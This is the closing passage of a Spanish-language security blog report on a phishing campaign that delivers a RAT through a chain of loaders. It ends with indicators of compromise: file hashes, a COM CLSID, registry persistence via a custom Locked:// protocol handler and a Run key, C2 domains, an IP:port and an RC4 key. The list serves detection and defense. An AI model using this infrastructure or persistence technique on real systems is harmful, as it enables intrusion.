Abandonar los zero-day no debilitó esta campaña. Al contrario, hizo que la operación fuera más barata, altamente escalable y más fácil de dirigir a un público más amplio. Eso explica el cambio de objetivos, de traders de forex de nicho a usuarios corporativos comunes. Es una narrativa conocida, pero frustrante: estamos viendo cómo los actores de amenazas pasan de intrusiones dirigidas y altamente especializadas a ataques de gran volumen y poco esfuerzo, y los resultados hablan por sí solos. En 2026, los usuarios siguen haciendo clic en enlaces de correos no solicitados. Mientras estas tácticas de phishing de la vieja escuela sigan funcionando, los adversarios no tienen motivos para quemar exploits costosos.

Indicadores de compromiso (IOC)

Artefactos en disco y en memoria

Valor

Descripción

image.pif 

SHA256: 394c93dfbb7581c66a23c52b20cd90b31415c0825a2eab7107e60ee3fe693c04

Dropper inicial que se hace pasar por una imagen

propi.msi 

SHA256: 9fb5888f9ac99227a35f3e08ca08bfb9eed676e1f91638599eba0d7a5aac847f

MSI de preparación empaquetado con exemsi 

prnfig.wsf 

SHA256: 1c923c685f97e556f241d0f1880283500a61dc7ecae8cafe75f34c720ff6b918

VBScript de preparación

filetext2.txt 

SHA256: 52b242047a8055c0936b384b952c1c16c1072a590610140b01f4acefa8ae883a

Importación del Registro para el registro COM

Coconout.dll 

SHA256: 4a18f65ab7de7be385cbcebc78c9ae49334294f93726822b8900f9b7a324a6b0

Loader, etapa 1 (COM)

Use.dll 

SHA256: 3052352ac811c48590f0239281312c35560fc06b4dc39790e365eb1e7cab8634

Loader, etapa 2: barrera anti-sandbox + persistencia (exportación FillText)

Finalized.dll 

SHA256: d7185bd7b450b478c793ece3025bdd867eed70bb7b739a5f26375b5ba6cf0d93

Loader, etapa 3: RunPE (exportación Calculation)

company.cer 

SHA256: 54ed18aa883b53794810be0428b3a0167758183c5b3ba5660af747dc81dd5b76

Payload cifrado: clave de 7 bytes y luego XOR de un solo byte 0x02

clspack.exe 

SHA256: 2915efecf2a01ce0b3ef49c47666ec43c326e7804df10e5859db5f08eeca8a37

Binario legítimo firmado de Microsoft, vaciado para alojar el RAT

COM CLSID: {CFDC57BA-1705-45AF-BA10-EFC3D592982B}

Servidor COM registrado (Coconout.Primary); invocado mediante rundll32 /sta

TypeLib: {8F1576C0-BB08-4F05-87A6-268C0D548794}

Biblioteca de tipos asociada

Path: %AppData%\ComponentsFolder\

Directorio de preparación de componentes

Registry: HKCU\Software\Classes\Locked\shell\open\command

Controlador de protocolo Locked:// personalizado (persistencia)

Run key: explorer.exe "Locked://Newest"

Valor de persistencia al iniciar sesión (T1547.001)

Red / infraestructura

Tipo

Valor

Descripción

Dominio

onlineview365[.]com

Servidor de preparación del MSI (/propi.msi)

Dominio

readonline365[.]com

Servidor de entrega/redirección (observado en el segundo incidente)

Dominio

thatawful[.]boutique

Dominio de C2 descifrado con RC4; no resolvía al momento de escribir esto

IP:Puerto

67.43.50[.]11:7712

Endpoint de C2

Clave RC4

onlywayhere23!$$#@!!35@!12

Descifra la cadena de C2 del formulario VB del RAT (difiere de la clave pública del builder)

También te podría interesar

Más información sobre CMMC: la oportunidad ($$) y el desafío para los MSP
CMMC: la oportunidad ($$) y el desafío para los MSP
Blog

CMMC no es solo otra casilla de cumplimiento: es un cambio de mercado que dividirá a los MSP entre ganadores y perdedores. Si el mandato de EMR te enseñó algo, es que quienes se mueven primero ganan.

Más información sobre Resiliencia operativa: cómo convertir tu plan de respuesta a incidentes en memoria muscular
Resiliencia operativa: cómo convertir tu plan de respuesta a incidentes en memoria muscular
Blog

Un plan de respuesta a incidentes solo funciona si se pone a prueba. Conoce los 5 pilares de la resiliencia operativa y cómo convertir tu plan en memoria muscular antes de que ocurra un ataque.

Más información sobre Cómo funcionan los ataques de ransomware y cómo mantenerte un paso adelante
Cómo funcionan los ataques de ransomware y cómo mantenerte un paso adelante
Blog

Ningún endpoint es inmune. El ransomware está afectando a empresas de todos los tamaños, y la doble extorsión se ha convertido en la norma. Así puedes desglosar cómo son realmente estos ataques para mantenerte un paso adelante.